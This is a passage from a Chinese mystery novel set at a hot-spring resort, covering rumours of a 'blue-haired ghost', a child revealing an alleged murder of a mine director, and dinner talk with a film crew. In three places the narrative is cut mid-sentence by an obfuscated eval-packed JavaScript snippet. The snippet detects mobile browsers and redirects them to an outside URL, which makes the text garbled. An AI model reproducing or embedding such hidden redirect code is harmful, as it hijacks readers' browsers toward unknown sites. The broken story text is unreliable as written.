王村长满不在乎地命令他,“喝吧,喝多了下午睡觉,我看谁敢吱个屁。文宏啊,账不用拢啦,我已经把事情全跟宏霞说了,她不会再为难你啦。欺负老实人可不行,是谁的问题谁担着,没人给他当替罪羊。我看啊,她这度假村也办不长远啦,家里养个败家子儿还能好?是不是,老毕?不是有那么句老话嘛,铁打的营盘流水的兵,我这泉眼村就是营盘,她翟宏霞就是兵,谁来投资都得规规矩矩的,否则没好果子吃。喝她一瓶酒怎么啦?跟你们说吧,度假村还欠着村里半年的温泉水钱呢。” 表弟怯生生地问,“六哥,你跟老板说了,她没急眼啊?” “能不生气吗?他弟弟把那么大的买卖都败了,还保养个叫小米的骚娘们,月亮湖夜总会的小姐,俩人明铺暗盖的,被她弟妹逮个正着,立马离了,孩子判给人家女方,都不姓翟啦。” 张会计愤愤地说,“恶习不改呀,这又供个网红真真,那女的真能霍霍呀,说是要拍什么微电影,十几万,十几万往里砸呀,看那娘们就不像好人,见人挤眉弄眼、摸摸搜搜的,指定是个不守妇道的破烂货。” “村长!吃的顺口不?不行,我让后厨再拌俩凉菜。”是翟宏霞殷勤地过来询问着,刘庆东观察她的表情,乍一看满面春风的,却恍惚间嘴角在抽动。 “可以啦。” “不用。” “这已经相当不错啦。” 三个喝酒的表示非常满意,他们喝的是快酒,一瓶子的白酒转眼间所剩无几啦,不胜酒力的会计和老毕都已面红耳赤,额头见汗了,而村长王福田却小脸煞白,白的让墙壁都自叹不如。 老板笑着对刘庆东说,“老刘,民宿的屋子已经打扫好了,下午你泡个温泉,吃完晚饭就过去住吧。炕上的电热板提前打开,睡觉前想着把屋门划上,当心有坏人捣乱。房间里有电话,你缺啥直接管前台要,有啥事你喊人。”见对方起身道谢,她嫣然一笑说声不客气,然后转身奔厨房去了。 “你要去民宿住?哎呦,那里可不干净,闹鬼,我看你还是别逞那个能啦。”村长好意地提醒他。 “我表哥说的是真事儿,你头一回来吧?本地人谁不知道啊?晚上那鬼又喊又叫的,还用东西打人,用爪子挠门呢。” “是谁串楞你去住的?是翟老板吧。那是让你去为她正名,给别人看民宿没脏东西,嗷呦,你可别傻呀。这女人啊,就没憋着好屁,是吧,老毕?”村长暗示老板没安好心。 被问及的那位加以肯定,“是,是呗,之前好几次有客人看到鬼啦,可吓人了,长着一身蓝毛,青面獠牙的,飘过来,飘过去,嗷嗷地尖叫。我劝你呀,别受人家蛊惑,还是别去住为好。” 刘庆东可不信那些封建迷信,自己是党员,无神论者,就当三个人在讲鬼故事,待他们发表完意见便坚定地说:“我是自愿的,没人蛊惑。我就想尝试下满族风情,而且要挑战自我,非把那鬼抓住,到底看看他是何等货色,问问他此举意欲何为呀?我都为自己的勇敢感到骄傲,除非他不敢来,听说爷爷去拉松了。” “不听好人言,吃亏在眼前呦。”村长无可奈何地摇着头。 “哼哼,你骄傲吧,别吓得拉拉尿。哼嗯,鬼会怕你?大言不惭,我看你是不知天高地厚呀。”老毕轻蔑地讪笑着。 既然不识劝,就没人去议论鬼怪的话题了。 “满族房子有啥好的?窗户还得向上翻,下面一半是死的,一点儿不风凉。土炕棒硬,睡得我这老腰快折啦,哪有席梦思舒服啊?”王福田对民宿不感兴趣。 他表弟却有不同的看法,“人家的烟道设计的巧妙,从地砖下面盘着经过,像地热热乎气一点儿不浪费。我喜欢住平房,坐在大炕上吃饭,比这耷拉着腿逮劲儿。” “你呀,就是耪大地的命,狗尿苔坐不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853044|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金銮殿。”表哥数落着表弟,又去问半天不说话的老毕,“你见识多,那乌拉草屋顶多爱起火呀,这样的雨天还好说,若是天干物燥,一根火柴就撩着了。” “什么?啊,是呀,是呀,比不了瓦顶。”显然对方心不在焉,溜号了。 村长突然想起什么,“文宏,你看见咱家大健了吗?这小子一大早就出去了,不知又钻到哪旮旯去啦?吃饭也不上心。” 表弟摇摇头表示没见过,老毕眼尖,瞧见刚进大厅的孩子,“你外孙子在那儿呢。” 于是,当姥爷的起身招手叫那孩子,男孩子一溜小跑地赶过来。 “你上哪了淘去啦?别被拍花的拐走喽。整天不着家,外面下雨啦,没浇湿了啊?” “没有,下雨时我在猫耳洞呢,现在外面不下了。”孩子抓起盘子里的香肠往嘴里塞,“我先垫吧点儿,这可比压缩饼干好吃多啦。”他又端起酒杯喝了一口,“哈,辣,是白酒,出征前喝过一次,是师长敬的老白干。” 村长把外孙子拉到旁边的椅子上,“坐下!你消停地吃,可别乱跑啦。吃饱喽,你姥去你舅姥爷家了,回家可没有饭吃啊。” 可男孩子挣脱了他,“我不能歇着,没时间啦。刚才滚雷场,两个战友牺牲了,我得替他们报仇去。团长下任务了,让我去把守大桥,敌人的增援部队就要上来啦,听,炮声。”哪儿是炮声啊,外面在打雷呢。 “你又去滚雷场啦,可衣服没埋汰呀?不会是趟水了吧?鞋子和裤子全湿啦。”会计权当孩子在说着玩。 孩子不屑地瞥了他一眼,“地雷全埋在土地里呀?刚才我们是在草地上排雷。表姥爷,看你像个新兵蛋子。”随即向姥爷敬了个军礼,似小猛虎般冲了出去。 被孩子嫌弃的张会计感到很没面子,他阴阳怪气地对表哥说:“六哥,还是带孩子去大医院瞧瞧吧,整天魔魔怔怔的,这是病,得趁早治呀。” 这时,李玄和曹斌也来了,他们说睡过悠了。大家坐在一起,医生向老毕请教痛风的治法,讨要有没有民间偏方,看得出中医高手并没心思谈论这个,他应付了两句便回煤场了。 下午的温泉泡得挺舒服,用四川话那叫巴适,摸着身上滑溜溜的,像抹了一层滑石粉,手肚子也没有变化,若是抽抽起皱了,那一定是自来水加热的。 天空灰蒙蒙的,还好没有下雨,正好去外面透透风,落落汗。他沿着林间小道信马由缰地往前走,望见不远处有座造型精致的石拱桥,汉白玉的围栏上坐着两个人。虽然背对着自己,可观察力极强的他当即分辨出是谁了,是那个开电动三轮车的小伙子和前台的服务员小红。 应该是自己的脚步声惊动了他们,一对情人似受惊的小兔子,转眼间便下桥躲开了。 11. 绿毛裘皮 这座石拱桥横跨在人造小溪的上方,四周除了透水砖铺就的小径,便是绿茵茵的草地,鹅卵石垒砌的沟渠里流淌着浅浅的清淼。 “爷爷,快到这里来。”有人轻声呼喊着,旋即从桥洞子下伸出个小脑袋来,是村长的外孙子!他咋跑到这里来了?还不知从哪里弄来顶军帽,端端正正地戴在头上。 孩子叫自己爷爷没错,现年五十四岁的刘庆东与村长年纪相仿,他闻声走过去,哈腰向桥下望着。 “快蹲下,危险,河对岸有敌人的狙击手。”男孩子用手示意着,那边有个花匠在“咔嚓、咔嚓”地修剪着灌木丛。 看着孩子那股认真劲儿,当长辈的只好配合喽,他蹲下身子,向对岸张望着,好像那里真有潜伏的敌军。 “大健,你在这里把守大桥啊?我还以为是度假村大门外的那座呢。”刘庆东在餐厅里听说他得到了任务。 孩子保持着高度的警惕,不错眼珠地盯着对岸,“你说是王河呀,不是,那是大后方,老百姓都在河里捞鱼呢,下了几天的雨,水库今天下午放水了,鱼都被冲下来啦,满河沟都是,大的鱼有一米多长呢。为了抢鱼徐二爷跟祥子叔都动手打架了,祥子叔年轻,蹦来跳去的,徐二爷的头顶被拍了好几巴掌,不是毕姥爷喊他们‘祥子、二民都住手’,强死巴活儿地把祥子叔拉走喽,二爷还得吃亏。别看这小河不起眼,战略地位可重要啦。刚才张强叔和小红姨在桥上搞对象,我让他们撤出交战区,他俩不听我的,让我一边玩去。还说他舅舅原来是这里的矿长,官比我大,这块地盘他做主,气死我了。” 二民!刘庆东记得是上午在大门口遇到过的,又和人打架啦?看来这家伙不是个省油的灯啊。年轻小伙是自杀矿长的外甥!怎么会呢?他们是仇人啊,不是说姓黄的跳楼自杀很蹊跷嘛,他一死其他人就解脱了。难道是?他脑海里浮现出两个大字,“复仇”。 “徐二爷总爱欺负小孩儿,可招人烦了,前几天还抢我桃吃呢,在村里没人愿意搭理他。几个月前,他晾在院子里的绿裘皮被人偷走了,他站在村中央一气儿骂了三天,说是他哥哥从国外寄给他的,老值钱啦。说他哥哥出国当了大老板,跟乡长是好朋友。我姥爷说是有这事儿,他哥哥还回来投资建厂呢。后来嗓子喊倒了,去派出所报案啦,还直嚷嚷偷东西的没有好下场,生孩子没□□儿,那话可难听啦。“孩子扭过头询问道,“爷爷,你们和徐二爷闹矛盾了吧?他是不是不讲理?让人很讨厌啊。你们吵吵我全看见了,当时我趴在大榆树上放哨呢。” “是场误会。”在孩子面前不好说得太深,原来早上的事儿被他看到啦。 孩子皱着眉头不解地问:“爷爷,啥是主毛啊?” 刘庆东不知道他从哪里听到的这个词,“每个人的身上通通都有毛,有眉毛、睫毛和腋毛,头上面的毛毛叫头发,腿上面的叫腿毛,身上短短的很多条,我们叫它是汗毛。虽然位置不一样,却并没有主次之分呀。”便让他说清楚是怎么回事。 “我是刚才听小红姨对张亮叔说的,她说胖姥和翟姥吵吵起来了,胖姥向翟姥要钱,她儿子要买房子结婚,钱不够,可翟姥没答应。胖姥就急眼了,说不给就去揭发,不给她瞒着了。翟姥告诉她揭发就找人弄死她,全家一个不留,还说是她让弟弟去的矿长办公室,把老黄从窗户推下去的,她是主毛,还骂胖姥是填不满的垃圾坑。小红姨劝张亮叔别惹她们了,亮叔说他不怕,他有日记本记得清楚儿的,一定让坏蛋加倍偿还,用这钱给他舅妈治病呢。” “孩子,这可事关重大呀,不能再跟别人说了。你别管主毛、次毛的,都不是啥好东西。”得知黄矿长的死因,刘庆东心里咯噔一下,原来外面的传闻不是捕风捉影。他担心这孩子,童言无忌,要是被凶手知道小健知道内情,肯定会狗急跳墙杀人灭口的。 孩子“嗯嗯”地点头答应着,又抬头看向刘庆东,“爷爷你姓啥?” “我姓刘。” 那孩子又问,“刘爷爷,你们是从沈阳来的呀?住在宾馆的五楼吧?那个穿夹克的是翟姥的表弟,大热天他也不怕起痱子。” 嚯,这孩子年纪不大,啥都知道呢,可以当个侦察兵啦。“我不住五楼了,晚上去民宿平房住。” “啥?你去平房住!爷爷,你胆子可真大,那里闹鬼呀。”男孩子惊呼着从桥洞里钻出来。 刘庆东不禁笑了,“你这个小大人,啥都知道,我不怕鬼,根本没有鬼,即使有,我去把它抓住。” “爷爷,你说的对,根本没有鬼,都是坏人装的。人死了要是有灵魂就好了,那些牺牲的战友会保护好人的,不能让坏人捣蛋。可那装鬼的老出来,没人管,说明就没有灵魂。”他拍着手高兴地说,“今晚抓鬼,太刺激了。我也想去,你带着我呗,我们一起去抓坏人,好不好?这几天那里在拍电影,他们得到九十点钟才收工呢,人多,坏人是不是不敢出来啦?” 刘庆东想了解些情况,“你见过装鬼的坏人吗?” 孩子晃了晃脑袋,“没看到过,晚上姥姥不让我出门,我上哪儿看去呀?拍戏的事儿还是听小陈叔说的呢,白天去看过,他们拍的是滑稽戏吧?可今天晚上没人管我,姥姥去舅姥爷家了,家里只有姥爷一个人。他每天晚上都喝酒,七八点钟就睡觉了。”他眼睛滴溜一转,好似想起了什么,“小红姨说她看见过,有次那家伙出来吓人,客人打电话给前台,她和翟姥赶忙跑过去,只看见鬼的背影,长着一身蓝毛。那家伙没像往常扑过来打人,像只兔子从东面的篱笆墙上跳过去,转眼跑没影了。小红姨还说,若是胖姥晚上没出门,那就好了,她体格大,有力气,跑的也比她们快。” 刘庆东离开孩子时,提醒他注意安全,地湿别滑到水里去。他仍然循着小径信步而行,忽然想到王河里的鱼,若是真像孩子所说,那种鱼贯而行的场面一定挺壮观。于是,他拿定主意,折转方向往大门走去。 走出度假村,桥边的景象与来时判若两样,孩子所言不虚,河道两岸站满了人,大多数是拿着家伙事儿专程来的,钓鱼竿已然是不赶劲儿啦,贪婪勇猛者直接跳进水里赤膊上阵,用网捞,用盆子、水桶去舀。很少是一个人单打独斗,几乎是全家出动,全族动员,“孙子、大姑、二大爷”地相互喊着,真是扶老携幼多多益善呀。而那些消息不灵光的路人,只有饱个眼福悔之不及的份儿啦。 在这支捕捞大军当中,最抢眼的要数一对夫妻,他俩通力协作非常默契,男的站在河里用抄子捞,女的在岸上用水桶接着,步调一致似两部联网的机器,不一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853045|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就装满了,女的把它抬上平板车,又连跑带颠地拎来只空桶接着盛,车子上已经装满了七八桶的活鱼啦。 是他们!刘庆东认出是早上遇到的那两口子,男人叫做二民。他对女人的印象不错,便走过去与其搭讪道:“大妹子,忙呢?河里的鱼真不少啊,这下可发财啦。” 女人乐得合不拢嘴,笑得眼角的鱼尾纹延伸到太阳穴,“发什么财呀?就捡几桶鱼的便宜。今年雨水大,上游水库挺不住了,这才开闸放的水,他们这下子可赔惨了。当家的!别往深处去,你可要当心呀。” 趁着她高兴劲儿,刘庆东装作漫不经心地询问道:“大妹子,听乡长说你大拜子在国外,做得买卖可大了,还不忘报国,回来建厂啦?” “嗯哪,俺当家的大哥是调兵山一中的,考上了清华,毕业后出国留学没回来,在加拿大开公司,买卖不小。” 刘庆东接着问,“听村长说,他还给你们寄来过裘皮?后来被人偷啦?是蓝色的,还是绿色的?” 女人不假思索随口回答,“啥呀?这些人啊净瞎传,不是俺大拜子从外国寄来的,寄的是钱。那还是大前年的事儿呢,俺当家的知道我稀罕皮草,看别人都有,俺家也不差啥。就带我去的沈阳中街,在那儿给我买的,是水貂长款绿色的。今年开春,收起来前挂到院子里吹干喽,没看住,被人滴楞走了。一万多块钱呢,你说这小偷多损!我明明是把院门锁好的,损贼指定是翻墙进来的。咦,大哥,你知道谁偷的啊?” “不道!我头一回来这儿,就是听村长说了一嘴。”刘庆东好似胸有成竹地下着结论,“是冬天丢的。嗯,我分析坏人偷了去,穿着它去度假村民宿吓唬人啦。” “不会吧?听说是蓝毛怪物,要是人装的,也不会是我的皮衣服,色儿不对。”看来女人知道详情。 这时,曹斌从院子里跑出来,说李玄发烧了。朋友有病,不能不去关心一下,他来不及向质疑的女人解释,匆忙回度假村去了。 当最后一桶被装满后,徐志民上了岸,他边脱下岔裤边询问妻子,“刚才那老小子来干啥?看他跟你聊了半天,他放啥屁啦?” 女人把刚才的对话讲了,还特别强调人家和乡长很熟的,知道咱家的皮草丢了,说是被坏人偷了去,穿着装妖怪吓唬人。 “放屁!他准是色盲,绿色、蓝色他分不清啊?”男人没好气地骂着,看来他的心情不佳,“干正经事儿吧,麻溜的,把这车鱼送回家,再来整一车,八百年也遇不到这种好事呀。” “当家的,那你说会是谁装鬼吓唬人呢?” 男人蛮自信地说:“依我看啊,就是老毕干的,他家崔老板早就打上度假村的主意了,想把姓翟的娘们挤走,暗地里下绊子,先把翟宏刚的公司搞垮,再让老毕装神弄鬼,把客人都吓跑喽,除了他们使坏,还能有别人吗?” 先不说这两口子,再表刘庆东回到宾馆,医生真得病了,哼哼唧唧发高烧,起不来炕啦。也不知是偶感风寒,还是在室外泡池被风吹着了。两个朋友悉心照料他,去前台找药,端水让他服下,忙乎到傍晚,他的病终于见好,体温降下来了。 已经到了吃晚饭的时间,李玄不能去餐厅,怕再抖落着,便让曹斌和刘庆东先去,回来时带碗面就行了。 12. 晚餐(上) 晚上来吃饭的人跟中午的差不多,只是刘庆东他俩在医生屋里耽搁了时间,故此来的时候大厅里坐满了人。没办法,找来找去,只好和翟宏刚他们坐在一起了。刘庆东发现司机小伙子没在其中,不知去哪里啦。而翟宏刚脸色红扑扑的,正喝着不知泡了啥中药的药酒,那酒色比他的脸还要红。 袁导有艺术家的气质,俊美的眼睛炯炯有神,似两把锥子盯着别人看,对方是男生还好说,若是女同志必定被看害臊了。他为人很热情,因为在民宿彼此已经见过,再经曹斌的表弟加以引荐,便主动起身与他俩亲热握手,自我介绍叫做袁永斌,是某文化传媒公司的总监。 大家寒暄了几句后,导演又与摄影组的同事推心置腹地交谈,针对所拍摄的短片交换意见。刘庆东听明白了,他们在拍微电影,片名是《好小子金兀术》。他原以为是儿童片呢,听了一会儿才知道是货真价实的武打情感片。而影片的主题曲由真真小姐主唱,借鉴电视剧《霍东阁》的主题曲《好小子》,把徐小明的男生变成女声,歌词由袁导执笔修改,以金兀术成长经历为主线,烘托出女真大元帅的英雄气概。还说,拍成后在网络平台上播放,那是相当挣钱呢。 坐在对面的男演员呲着牙笑,“袁叔,你们挣大钱了,能不能给我加点儿薪呢?人家送外卖的一个月也能挣六七千呢,我这男一号才四千多,想和小倩旅个游都去不成。” “小权子,你知足吧!你小子一没有文凭,二没有手艺,不是我跟你姐的关系,你这四千多还不道从哪儿挣呢。人家小倩还占个颜值,长得漂亮,你有啥?你会啥?” “我会空翻,小时候练过童子功。”小伙子不服气地抗议道,用手上下比划着。 导演并不认可,“当演员的不仅要靠脸蛋,啥都得会一些,尤其是武打演员,虽然可以吊威亚,但最起码的基本功得有吧?会空翻有啥出奇冒泡的,去任何一个体校一抓一大把。还童子功呢?不用我揭穿,你心里明镜似的。我们这个组就你事儿多,你看树安多明白事理,演耶律大石,戏份跟你不相上下,人家提啥幺蛾子了吗?” 女一号真真打着圆场,“小老弟,你这年纪是创业初期,只讲奉献,不求回报,咱们这片子你是第一部戏吧?袁导多看重你呀,多少关系户推荐演员都被他回绝啦,就让你演男主角金兀术。你得珍惜机会呀,一旦闯出名了,还愁没钱赚啊?” 翟宏刚也跟着鼓励他,“是呀,眼下剧组资金紧张,捉襟见肘,袁导才拿多少钱啊?困难面前要团结,识大体,顾大局。你们放心,钱上我想办法,不瞒你们说,马上,不,就是明天,两百万立马到账。我看好你们呦,拍成了,《好小子金兀术》一炮而红,卖个好价钱,我也指着这部片子咸鱼翻身呢。等再有钱喽,我想拍长篇连续剧,像《三国》、《水浒》,那更来钱。我酝酿了,真真演潘金莲,小华演武松,树安演林冲。小倩嘛,小倩有那股子媚劲儿,来阎婆惜。”他向导演许诺道,“袁导,还由你来拍,剧本你来改编,指定比前几版出彩。就你那文笔,比施耐庵、罗贯中要强多啦。” “可不能这么说呀,人家可是大文豪,他们不仅写了这两部巨著,还是元末农民起义军张士诚的军师呢,他们师徒俩就是在军营里相识的。” 听说这两位文人还会兵法,两军阵前排兵布阵,翟宏刚半信半疑地插话道:“是吗?看来他们的计谋不如刘伯温啊,要不怎么被朱元璋打败了呢。” “千真万确,施耐庵是苏州人,他的父亲是个划船的,他有个表弟叫卞元亨,是起义军的大帅,正是靠着这层关系投在张士诚的帐下,充当军师。罗贯中是太原人,比施耐庵小三十多岁,他的父亲是丝绸商人,他跟着父亲到江南,也投奔了起义军,做宾客。两个人在军中相识,确定了师生之谊。施耐庵的能耐不比刘伯温差,他们是同年进士,可惜张士诚刚愎自用,不听“缓称王”的良策,于是师徒俩先后灰心离去。施耐庵去江阴大财主徐直家做教书先生,教他的儿子徐麟。” “江阴徐直呀,我知道。”提起徐直,刘庆东是再熟悉不过啦,“我写小说《蓬莱海市》时涉及过江阴徐氏,书中的人物徐衍芳就是徐家第十五代世孙。这徐家的老祖徐锢当过北宋的开封府尹,跟宋高宗南渡,?世代避居在江阴梧塍,你说的徐直就是第八代世祖。徐衍芳的父亲叫做徐经,和唐伯虎是好朋友,一起去京城赶考犯了事,断了仕途。他还有个孙子,就是大名鼎鼎的徐霞客。徐直有个忘年之交,是当时的大画家,叫做倪瓒,是出了名的洁癖,他家院子里的梧桐树必须天天擦洗,直到擦死为止。有一次他带个歌妓回家,本来要共赴巫山云雨,却总觉得人家身上有异味,让女人洗了又洗,一直洗到天光大亮,什么事儿也没干成。” 刘庆东相信有这样的人,老家大红旗就有个婶子,非常爱干净,院子里粘地的黄瓜茄子都不吃,摘了扔掉。 “咋这么像老毕呢?他的床谁也不让坐,来食堂自己带饭盒,别人的东西他嫌埋汰。”是老法官端着盘子出现在桌边,刘庆东的旁边正好有个空位置,他便随理成章地坐下来,“原来这大画家与徐霞客的祖辈有交情啊。是啊!物以类聚,人以群分,徐霞客是世家之后,商二代,这辈子净游山玩水了,让人羡慕啊。说句大实话,谁不想旅旅游啊?可我这孤老头子,儿女不在身边,一个人瞎走,有啥意思?老了,活着没劲啦,混吃等死喽。” 袁导笑着宽慰他,“叔啊,你才六十二,不老。你是没赶上啊,打明年开始,都六十三岁退休啦,专家说了,你这岁数还是壮年呢。俗话说,男人八十八,女人七十七。你再续一房,来年还能抱个胖小子。” “八八六十四,七七四十九,我六十四岁前还能生?哈哈,不行啦,力不从心喽。”逗得老头子开怀大笑,笑得合不拢嘴儿,“唉,身体好也不行呦,兜里没钱穷游啊?你把钱都花喽,儿女都不干呀。比不了人家徐霞客,家里不差钱,旅行家不是谁想当就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853046|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当的。”其他人随声附和着,说老人家言之有理,一分钱难倒英雄汉啊,没有钱寸步难行,现在赚钱多不容易呀?不是裁员,就是降薪。 那边摄制组的人在安排晚上的拍摄,刘庆东低声问老法官出去啦? “出去了,去了一趟大隆矿,找了几个知情人了解些情况。”不待对方细问,老人说出详情,原来他惦记着侄子的冤情,去矿上找了熟人,还原当时的经过。 老法官像在办案子,板起面孔一丝不苟,“据知情者讲,那些封签的职工极不认真,在矿上要酒要菜大吃二喝,把签条随意发给大车司机,由他们自己封卸货门。半挂车有两种,一种车是六个门的,一种是四个门的。依着你的设想,拉满炉灰的车先开到矿上,再要来封签,自己封好,在监控下堂而皇之地拉回煤场。可我百思不解呀,它还需要出矿的小票啊,没有小票,咋回煤场过磅对账啊?” 看着老人愁眉不展的样子,刘庆东嘿嘿一笑,诡秘地说出自己的想法,“如果有辆套号车呢?” “呀,呀,真的哈?我咋没想到呢。如果用套号车,狸猫换太子,啥都解决啦。”老法官激动地直拍大腿,“老弟呀,真有你的,神啦。”突然他的表情僵硬了,神情凝重地望向侄子。 刘庆东是多少精明的人啊,立即读懂老人的心思,暗地里用手捅捅他,“你当务之急是排除这种可能,去找开车的司机,问出他是不是套号车,把换车的秘密告诉谁啦?若是没有,再接着查,查出是谁指使他陷害刚总的。” 老头子经他提醒,这才缓过神来,“是呀,不一定是套号车,小刚跟我保证过,他是被人陷害的。也许根本不用出矿小票,拉到煤场被人发现啦,陷害我侄子的目的就达到了。我吃完饭就去打听那司机,好像是姓佟,跟剧组开车的司机挺熟。” 刘庆东想到关键的问题,“你知不知道,出事那天到煤场是被谁发现的?” “甲方公司派来的验签员啊,平时他们是不管这些的,那是采样化验的活儿。不知道那天怎么突然来神了,关心起煤质啦。六个卸货门的挂车从外面看不清货物,它的门都在一侧。出事的车子正好是四个门的,一侧三个,车尾一个,从车后面能看到里面的情况。那天发现是炉灰后,多事的家伙当即嚷起来,像是发现了金元宝。起初解释是用来垫道的,没多大事儿遮过去就算了,相关人员谁也没声张,可有人把这事儿上报了,闹得满城风雨。甲方派来了调查组,首先就问运炉灰渣子的车为啥封签?真是跳进黄河也洗不清啦,百口难辩。” 看来其中的蹊跷还得进一步调查,不是当事人谁也别想轻易找出答案。老法官没吃几口便急着去办事,看来他对自家的事儿真上心啊。临走前刘庆东问明了他的手机号码,一旦得到相关的消息,方便彼此尽快联系。 翟宏刚与袁导他们吃完饭离席,这桌子一下子空出了一半的座位。此刻正是用餐的高峰,空位置还能闲着?立刻就有人捷足先登了。 13. 晚餐(下) 是迎宾员小红,像是已经下班啦,她换去了工装,那小腰条、小身段更显得楚楚动人了。看她盘子里的饭菜盛得不多,女孩子嘛,自然要注意不能营养过剩喽。 刘庆东像她友好地点头示意,人家小姑娘也微笑着回应。 “这是下班啦?”运转员都是自来熟,爱和人搭讪唠闲嗑。 “下班啦,我们是三个人,一人一天一宿。叔,你去民宿住啊?我劝你别去,那里不消停,从开业到关停陆陆续续闹腾了十几次啦,我都赶上过好几回呢。” 听闻此言,刘庆东没有丝毫的胆怯,反而感兴趣地问:“是闹鬼吧?我可不信,一定是人假扮的。” “英雄所见略同啊,鬼是别人说的,我只跟明白人讲,那不是鬼,鬼是没有影子的,是坏人来捣乱。”姑娘饶有意味地看着刘庆东,对自己的发现甚是得意,“在这里少说话为妙,里面错综复杂的纠葛太乱,我个小服务员不想掺和。叔,我劝你最好别去住,坏人得到信,指定出来吓唬你。那妆化得挺瘆人的,我和老板娘看见他多少回了,是个年轻人,翻墙一点儿不费劲儿,跑的可快啦,脚步噔噔的。要是我这体格跟他撕巴,指定不是个儿,秦姐那身板还凑乎,可惜这些次她都出去啦。” “秦姐!哪个秦姐?”一旁的曹斌像在听故事,他不由自主脱口而出。 刘庆东知道她在说谁,“她是这里的厨师,那身板能毁你两个,老壮实啦。可真不巧,十几次她都不在呀?”刘庆东又问姑娘。 “是呀,即便有一次在,那坏蛋也跑不掉。别看秦姐胖,可能跑了,现在每天还长跑锻炼呢。”小红笑嘻嘻地说,“她和老毕要好,每次不是去煤场给老毕拔罐子,就是去他那儿取药酒。秦姐有腰肌劳损的毛病,老毕给她配中药。” “每次都是去煤场吗?”这回是教师首先发问的。 姑娘肯定地点着头,“是呀,秦姐回回都是这么说的。”同曹斌一样,她的眼神闪烁不定起来,也似在困惑着什么。 “你听到那坏人嚎叫过吗?有人说那是个女鬼,长着一身蓝毛的女鬼。”刘庆东向她求证道。 “是有客人这么说的,可见到我们他立马就跑,从来没叫过。我们从篱笆墙头望见他,有时是蓝毛,有时好像是绿色的,一张吐着舌头的大白脸,可吓人啦。院门是从里面锁上的,他应该是翻墙进去的,那家伙翻墙可麻溜了,我们一般人可没他那本事。” 刘庆东不似在询问,而是在自我肯定,“在头套院子,就是翟宏刚住的那院,闹过吧?在那里他总是从东墙逃走的吧?” “是呀,在那院都是从东边逃走的,其他院三面都有。他那大长腿跳起来一跨,就从篱笆上迈出去了。”服务员惊奇地咦了一声,“你咋知道的?你是警察吗?是来调查的吧。” “我哪儿是警察啊,就我这眼镜度数,体检也通不过呀。”刘庆东自嘲地一笑,“我是根据掌握的线索,得出他对地形很清楚,知道西边有条小溪,不往南边过桥,只能趟水过去。我有种预感,坏人就是这个村的,最起码常在此地住,比如某个村民、老毕、两个厨师、张会计、老板娘,或者是他。”他用目光示意着来者。 小红只当他在说笑,“张强啊,我们是高中同学,我还不了解他,那小破胆吧,还没我的大呢。他可笨了,在学校跳高,一米都过不去,两条腿拉不开栓。张强刚来没几个月,和谁又没有矛盾。装神弄鬼他图啥?好玩儿!秦姐不会,她虽说离婚后常住在度假村里,可每次都去煤场了呀。老毕、孔姐、张会计也不会,打死他们翻不过篱笆墙,而且他们晚上都不在度假村,孔姐、张会计家都在市里住。老板娘更不会,谁祸害自己的买卖呢?” “唠我啥呢?张强,张强的。”是度假村的杂工,看小伙子是啥活都得干,他腰间扎了个大胶皮围裙,推着辆垃圾车,用抹布擦拭着桌上的残渣和油渍。 “我在说你能干呢,他们夸你小伙子咋长得这么俊呢?“小红和他开着玩笑。 小伙子也知道不是那么回事儿,他憨厚地笑着,看向姑娘盘子里的青菜,“这菜炒得一点儿没滋味,哪天我下厨给你炒个黄瓜钱吃吃。” “啥黄瓜钱?是黄瓜的花吗?”不光小红不知其所云,就是刘庆东和曹斌也没听说过。 “往们朝阳的特色,就是把黄瓜切成圆片,不是菱形的,先紧下水,再炒,可有嚼头了。”张强指着盘子里的黄瓜炒鸡蛋。 姑娘几口便吃完了,向小伙子说了句“我在大厅等你啊”,得到一声“中”的回应便离开了。 “小伙子有约会呀?她是你对象?”刘庆东戏谑地问。 “叔啊,你说啥呢?人家有对象。她说等我,是要坐我的车回市里,我负责拉她和小文、小楠,还有张会计上下班。” 还有瘦厨娘呢?刘庆东问他是不是少说了一位呀。 “孔姐不坐三轮车,她信教,有时候不直接回家,与教友一起有活动。她家住兀术花园,自己骑电动车方便。”张强的后半句是压低声音说的,生怕声大了给自己找麻烦。 正在这时,有人说话了,“张儿啊,把桌子擦干净点儿,我坐这位置吃饭。”是村长领着外孙子来了,正在身后等着呢,老头子让孩子坐好,转身去到后厨,不多时端着个口杯出来,里面盛着泡得发红的药酒。应该是接得太满了,溢出杯口撒到手指上,他放下酒杯后,赶紧把嘴凑过去啄个干净,“俺也借光,喝喝刚总的药酒,这酒劲儿大。” “姥爷,今天姥姥不在家,你多喝点儿,我不打小汇报。”聪颖的孩子讨好道,还不忘向刘庆东挤了挤眼睛。 